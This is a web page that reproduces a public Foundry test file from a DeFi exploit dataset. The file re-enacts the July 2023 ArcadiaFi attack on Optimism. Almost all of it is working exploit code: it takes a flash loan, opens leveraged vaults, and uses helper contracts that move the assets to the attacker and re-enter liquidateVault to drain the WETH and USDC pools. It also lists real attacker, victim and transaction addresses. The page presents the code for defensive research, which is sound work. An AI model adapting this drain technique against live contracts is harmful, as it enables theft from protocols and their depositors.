Public reproduction file
src/test/2023-07/ArcadiaFi_exp.sol
Public reproduction file for dataset entry ArcadiaFi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~400K USD$8// Attacker : https://optimistic.etherscan.io/address/0xd3641c912a6a4c30338787e3c464420b561a94679// Attack Contract : https://optimistic.etherscan.io/address/0x01a4d9089c243ccaebe40aa224ad0cab573b83c610// Vulnerable Contract : https://optimistic.etherscan.io/address/0x13c0ef5f1996b4f119e9d6c32f5e23e8dc31310911// Attack Tx : https://optimistic.etherscan.io/tx/0xca7c1a0fde444e1a68a8c2b8ae3fb76ec384d1f7ae9a50d26f8bfdd37c7a0afe13// @Info14// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0x3ae354d7e49039ccd582f1f3c9e65034ffd17bad#code16// @Analysis17// Post-mortem : https://arcadiafinance.medium.com/post-mortem-72e9d24a79b018// Twitter Guy : https://twitter.com/Phalcon_xyz/status/167825059070989926419// Twitter Guy : https://twitter.com/peckshield/status/167826521277069312121interface IFactory {22 function createVault(uint256 salt, uint16 vaultVersion, address baseCurrency) external returns (address vault);23}25interface LendingPool {26 function doActionWithLeverage(27 uint256 amountBorrowed,28 address vault,29 address actionHandler,30 bytes calldata actionData,31 bytes3 referrer32 ) external;33 function liquidateVault(34 address vault35 ) external;36}38interface IVault {39 function vaultManagementAction(40 address actionHandler,41 bytes calldata actionData42 ) external returns (address, uint256);43 function deposit(44 address[] calldata assetAddresses,45 uint256[] calldata assetIds,46 uint256[] calldata assetAmounts47 ) external;48 function openTrustedMarginAccount(49 address creditor50 ) external;51}53interface IActionMultiCall {}55contract ContractTest is Test {56 struct ActionData {57 address[] assets; // Array of the contract addresses of the assets.58 uint256[] assetIds; // Array of the IDs of the assets.59 uint256[] assetAmounts; // Array with the amounts of the assets.60 uint256[] assetTypes; // Array with the types of the assets.61 uint256[] actionBalances; // Array with the balances of the actionHandler.62 }64 IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);65 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);66 IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);67 IFactory Factory = IFactory(0x00CB53780Ea58503D3059FC02dDd596D0Be926cB);68 LendingPool darcWETH = LendingPool(0xD417c28aF20884088F600e724441a3baB38b22cc);69 LendingPool darcUSDC = LendingPool(0x9aa024D3fd962701ED17F76c17CaB22d3dc9D92d);70 IActionMultiCall ActionMultiCall = IActionMultiCall(0x2dE7BbAAaB48EAc228449584f94636bb20d63E65);71 IVault Proxy1;72 IVault Proxy2;74 function setUp() public {75 vm.createSelectFork("optimism", 106_676_494);76 vm.label(address(USDC), "USDC");77 vm.label(address(WETH), "WETH");78 vm.label(address(aaveV3), "aaveV3");79 vm.label(address(Factory), "Factory");80 vm.label(address(darcWETH), "darcWETH");81 vm.label(address(ActionMultiCall), "ActionMultiCall");82 }84 function testExploit() external {85 address[] memory assets = new address[](2);86 assets[0] = address(WETH);87 assets[1] = address(USDC);88 uint256[] memory amounts = new uint256[](2);89 amounts[0] = 29_847_813_623_947_075_968;90 amounts[1] = 11_916_676_700;91 uint256[] memory modes = new uint256[](2);92 modes[0] = 0;93 modes[1] = 0;94 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);96 emit log_named_decimal_uint(97 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()98 );100 emit log_named_decimal_uint(101 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()102 );103 }105 function executeOperation(106 address[] calldata assets,107 uint256[] calldata amounts,108 uint256[] calldata premiums,109 address initiator,110 bytes calldata params111 ) external returns (bool) {112 WETH.approve(address(aaveV3), type(uint256).max);113 USDC.approve(address(aaveV3), type(uint256).max);115 WETHDrain(assets[0], amounts[0]);116 USDCDrain(assets[1], amounts[1]);118 return true;119 }121 function WETHDrain(address targetToken, uint256 tokenAmount) internal {122 Proxy1 = IVault(Factory.createVault(15_113, uint16(1), targetToken)); // create vault123 vm.label(address(Proxy1), "Proxy1");125 Proxy1.openTrustedMarginAccount(address(darcWETH)); // open margin account126 WETH.approve(address(Proxy1), type(uint256).max);128 {129 address[] memory assetAddresses = new address[](1);130 assetAddresses[0] = targetToken;131 uint256[] memory assetIds = new uint256[](1);132 assetIds[0] = 0;133 uint256[] memory assetAmounts = new uint256[](1);134 assetAmounts[0] = tokenAmount;135 Proxy1.deposit(assetAddresses, assetIds, assetAmounts); // deposit collateral136 }138 ActionData memory ActionData1 = ActionData({139 assets: new address[](0),140 assetIds: new uint256[](0),141 assetAmounts: new uint256[](0),142 assetTypes: new uint256[](0),143 actionBalances: new uint256[](0)144 });146 ActionData memory ActionData2 = ActionData({147 assets: new address[](1),148 assetIds: new uint256[](1),149 assetAmounts: new uint256[](1),150 assetTypes: new uint256[](1),151 actionBalances: new uint256[](1)152 });153 ActionData2.assets[0] = targetToken;154 address[] memory to = new address[](1);155 to[0] = targetToken;156 bytes[] memory data = new bytes[](1);157 data[0] = abi.encodeWithSignature("approve(address,uint256)", address(Proxy1), type(uint256).max);158 bytes memory callData1 = abi.encode(ActionData1, ActionData2, to, data);159 darcWETH.doActionWithLeverage(160 WETH.balanceOf(address(darcWETH)) - 1e18, address(Proxy1), address(ActionMultiCall), callData1, bytes3(0)161 ); // leveraged lending163 Helper1 helper = new Helper1(address(Proxy1));165 ActionData memory ActionData3 = ActionData({166 assets: new address[](1),167 assetIds: new uint256[](1),168 assetAmounts: new uint256[](1),169 assetTypes: new uint256[](0),170 actionBalances: new uint256[](0)171 });172 ActionData3.assets[0] = targetToken;173 ActionData3.assetIds[0] = 0;174 ActionData3.assetAmounts[0] = WETH.balanceOf(address(Proxy1));175 address[] memory toAddress = new address[](2);176 toAddress[0] = targetToken;177 toAddress[1] = address(helper);178 bytes[] memory datas = new bytes[](2);179 datas[0] = abi.encodeWithSignature("approve(address,uint256)", address(helper), type(uint256).max);180 datas[1] = abi.encodeWithSignature("rekt()");181 bytes memory callData2 = abi.encode(ActionData3, ActionData1, toAddress, datas);182 Proxy1.vaultManagementAction(address(ActionMultiCall), callData2); // transfer all the asset to his own controlled contract and re-entry the function liquidateVault to liquidiate the vault183 }185 function USDCDrain(address targetToken, uint256 tokenAmount) internal {186 Proxy2 = IVault(Factory.createVault(15_114, uint16(1), targetToken)); // create vault187 vm.label(address(Proxy2), "Proxy2");189 Proxy2.openTrustedMarginAccount(address(darcUSDC)); // open margin account190 USDC.approve(address(Proxy2), type(uint256).max);192 {193 address[] memory assetAddresses = new address[](1);194 assetAddresses[0] = targetToken;195 uint256[] memory assetIds = new uint256[](1);196 assetIds[0] = 0;197 uint256[] memory assetAmounts = new uint256[](1);198 assetAmounts[0] = tokenAmount;199 Proxy2.deposit(assetAddresses, assetIds, assetAmounts); // deposit collateral200 }202 ActionData memory ActionData1 = ActionData({203 assets: new address[](0),204 assetIds: new uint256[](0),205 assetAmounts: new uint256[](0),206 assetTypes: new uint256[](0),207 actionBalances: new uint256[](0)208 });209 ActionData memory ActionData2 = ActionData({210 assets: new address[](1),211 assetIds: new uint256[](1),212 assetAmounts: new uint256[](1),213 assetTypes: new uint256[](1),214 actionBalances: new uint256[](1)215 });216 ActionData2.assets[0] = targetToken;217 address[] memory to = new address[](1);218 to[0] = targetToken;219 bytes[] memory data = new bytes[](1);220 data[0] = abi.encodeWithSignature("approve(address,uint256)", address(Proxy2), type(uint256).max);221 bytes memory callData1 = abi.encode(ActionData1, ActionData2, to, data);222 darcUSDC.doActionWithLeverage(223 USDC.balanceOf(address(darcUSDC)) - 50e6, address(Proxy2), address(ActionMultiCall), callData1, bytes3(0)224 ); // leveraged lending226 Helper2 helper = new Helper2(address(Proxy2));228 ActionData memory ActionData3 = ActionData({229 assets: new address[](1),230 assetIds: new uint256[](1),231 assetAmounts: new uint256[](1),232 assetTypes: new uint256[](0),233 actionBalances: new uint256[](0)234 });235 ActionData3.assets[0] = targetToken;236 ActionData3.assetIds[0] = 0;237 ActionData3.assetAmounts[0] = USDC.balanceOf(address(Proxy2));238 address[] memory toAddress = new address[](2);239 toAddress[0] = targetToken;240 toAddress[1] = address(helper);241 bytes[] memory datas = new bytes[](2);242 datas[0] = abi.encodeWithSignature("approve(address,uint256)", address(helper), type(uint256).max);243 datas[1] = abi.encodeWithSignature("rekt()");244 bytes memory callData2 = abi.encode(ActionData3, ActionData1, toAddress, datas);245 Proxy2.vaultManagementAction(address(ActionMultiCall), callData2); // transfer all the asset to his own controlled contract and re-entry the function liquidateVault to liquidiate the vault246 }247}249contract Helper1 {250 address owner;251 address proxy;252 address ActionMultiCall = 0x2dE7BbAAaB48EAc228449584f94636bb20d63E65;253 IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);254 LendingPool darcWETH = LendingPool(0xD417c28aF20884088F600e724441a3baB38b22cc);256 constructor(257 address target258 ) {259 owner = msg.sender;260 proxy = target;261 }263 function rekt() external {264 WETH.transferFrom(ActionMultiCall, owner, WETH.balanceOf(address(ActionMultiCall)));265 darcWETH.liquidateVault(proxy);266 }267}269contract Helper2 {270 address proxy;271 address owner;272 address ActionMultiCall = 0x2dE7BbAAaB48EAc228449584f94636bb20d63E65;273 IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);274 LendingPool darcUSDC = LendingPool(0x9aa024D3fd962701ED17F76c17CaB22d3dc9D92d);276 constructor(277 address target278 ) {279 owner = msg.sender;280 proxy = target;281 }283 function rekt() external {284 USDC.transferFrom(ActionMultiCall, owner, USDC.balanceOf(address(ActionMultiCall)));285 darcUSDC.liquidateVault(proxy);286 }287}Analysis
Dataset entry
Public Foundry test for “ArcadiaFi” (2023-07-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd3641c912a6a4c30338787e3c464420b561a9467
- Attack Contract
0x01a4d9089c243ccaebe40aa224ad0cab573b83c6
- Vulnerable Contract
0x13c0ef5f1996b4f119e9d6c32f5e23e8dc313109
- Vulnerable Contract
0x3ae354d7e49039ccd582f1f3c9e65034ffd17bad
- Attack Tx
0xca7c1a0fde444e1a68a8c2b8ae3fb76ec384d1f7ae9a50d26f8bfdd37c7a0afe
File record
- Name
- ArcadiaFi
- Path
- src/test/2023-07/ArcadiaFi_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 198ec5e27467a4c38b78a1202bca7a8a20cce070
- Language
- Solidity
- Size
- 288 lines
- Date
- 2023-07-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/ArcadiaFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 198ec5e27467a4c38b78a1202bca7a8a20cce070, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.